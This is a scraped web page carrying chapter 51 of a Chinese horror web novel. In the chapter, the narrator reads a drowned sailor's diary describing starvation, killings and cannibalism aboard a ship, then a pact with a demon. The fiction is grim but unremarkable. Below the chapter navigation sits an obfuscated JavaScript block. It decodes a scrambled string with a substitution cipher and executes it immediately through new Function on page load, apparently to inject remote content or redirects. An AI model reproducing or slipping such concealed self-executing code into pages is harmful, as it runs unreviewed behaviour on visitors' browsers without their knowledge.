返回

黄泉妖冢

首页
关灯
护眼
字体:
第五十一章 吃人
( )我感觉一阵恶寒,这字里行间透露出来的意思已经非常明显,这本笔记正是鬼船上那具骷髅写的,而且几个小时之前,他仍旧奋笔疾书。

闭上眼睛,骷髅向我咆哮“你不该来”的画面依旧历历在目。

两个深呼吸之后,我开始读那本笔记。

虽然这本笔记通篇都是英文,但是我有四级的词汇量,再加上手机上的翻译软件,我还是磕磕巴巴的读了下来。

笔记的前五分之四非常正常,是这个人从二十岁那年当上英国海军之后所记的日记,能够获得的信息也不多,只知道这个人有一双儿女,而且是一位虔诚的基督徒。

笔记的后五分之一,记载的是他和自己的船员从1953年6月起执行的一场特殊任务,但我觉得这更像是一个故事,甚至是一场噩梦。

看完之后,我的浑身已经被冷汗浸湿,内心中也充斥着一种极端负面的情绪。

“第五天了,已经五天了。

我们在这片该死的海域迷失了航向,已经断粮了整整五天。

这是一片真正被诅咒的海域,除我们之外竟然没有任何活着的东西,那该死的德国船早已失去了踪影。

人在没有食物的情况下可以存活七天,也就是说如果两天内我们还没有找到食物的话,就只有死路一条。

上帝会保佑我们的。”

德国人,又是德国人,我发现不论在哪个地方,总能见到德国人的身影。

“断粮的第六天,我已经感觉不到饿了,但是身体开始有点不听使唤,握着笔的手也开始颤抖。

安德烈找到了我,给我讲了一个故事,说在饥荒的年代,人们交换自己的孩子当做食物。

我明白他的意思。

可是我们是人啊,怎么能做出这种事来。

他一定是疯了。”

“第七天,甲板上突然传来一声怪叫,我们拖着疲惫的身躯出去查看,发现刘易斯倒在甲板上,浑身抽搐。

没有人过去帮助他,因为没有人再有力气,也没有那个必要。

所有人都静静看着,面无表情,我们都会死,只是时间早晚的问题。

刘易斯渐渐停止了呼吸,这时我发现安德烈的眼中放出了奇异的光芒。

他蹲下去,开始慢慢解开刘易斯的衣扣……

我们是人啊,怎么可以吃人?!

或许正因为我们是人,才可以去吃自己的同类。

动物永远都是动物,而人有的时候可以不是人。”

“第十天,那具尸体上的肉被我们吃得干干净净,人们不在互相交谈,看对方的眼神也变得很奇怪,他们都盼望着有谁可以先死去。

大家都疯了。

我也疯了。”

“第十二天。

既然没有人死去,那就吃活人吧。

没有人睡觉,我们都用眼睛死死盯着别人,双目血红就像地狱中的恶鬼。

但是我们没有互相动手,不是因为不想,而是没有力气了。

这时安德烈提出了一个方法,抓阄,谁抓到谁就要死,成为我们的食物。

第一个抓到的是帕顿,那个一直很沉默的中年人。

‘我宁愿葬身大海,也不要被你们这帮魔鬼吃掉!’他大喊了一声,忽然站了起来,向外跑去,我们按住了他。

我们杀了他。”

……………………

“第二十五天。

托尼的肉太老了,有些发酸,吃起来有些硌牙。

我最喜欢的还是弗雷,嫩嫩的,保养得非常好,吃起来还有牛奶的香味。

我把他的骨头做成了笛子,吹起来“嘟嘟”响,可好听啦。

人肉实在是世界上最美味的东西,我亲爱的孩子,真想让你们尝尝,当然,如果我能够回去的话。”

看到这里,我有一种强烈的想把这本笔记烧了的冲动,但还是忍住了,疯了,这个人已经彻底疯了。

我忽然想起一句话,当一件痛苦的事无法抗拒的话,你会慢慢开始享受它。

“第三十天。

已经只剩下了安德烈我们两个。

我们吃掉了其他所有人。

我知道这样其实只是让我们的死亡日期延后了一些而已。

但我还是想活着,只是活着。”

后面的日记没有再标注日期,但我推断相距的时间不算太长。

“我们见到了天使。

我们无法看到,无法听到,无法触碰到,甚至无法用任何感觉感知到它的存在,但它是存在的。

它告诉我们,可以让我们中的其中一个永远活下去,但代价是只能在这片海上。”

这一段看起来有些扯淡,更像是疯言疯语,但我知道这是真的,因为从某种意义上来说,我见到那个骷髅的时候,它还活着。

但我始终无法理解,“无法用任何感觉感知到它的存在”是什么意思,既然无法感知,“天使”又是如何告诉他们这些东西的。

“最后是我活了下来。”

“它根本不是天使,而是魔鬼。”

“我曾经是上帝最忠实的信徒,如今却堕落为魔鬼的爪牙,上帝他会原谅我吗?

又有一艘船为了那个秘密而来,我必须要阻止他们,这或许是我最后的救赎。

我把船向着他们的船开了过去,我知道这违背了我和魔鬼之间的契约,这一次之后,我将粉身碎骨。

但我一定要告诉他们,他们不该来!”

笔记已经到头了,再往后翻都是白纸,发黄发脆,本子的后封皮上沾着一张黑白照片,一家三口在里面冲着我笑,其乐融融。

我合上本子,仰起头深深吸了一口气,身体都有些颤抖,背后已经被冷汗浸湿,人性最险恶的部分在这本笔记上暴露得淋漓尽致,我甚至在想如果我们的队伍也陷入了同样的境地,是否也会做出这样的选择?

人之初,性本善。

但我现在怀疑这句话的正确性。

就像刚出生的婴儿,根本不懂得什么,只知道一味地索取,心中也只有最原始的冲动与**。

长大的过程,其实也正是压制**的过程,但是能战胜**的,只有更大的**。

在活着面前,我们无比渺小。

我长叹了一口气,准备钻进睡袋,刚一抬头,猛然发现我的面前站着一个人影。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();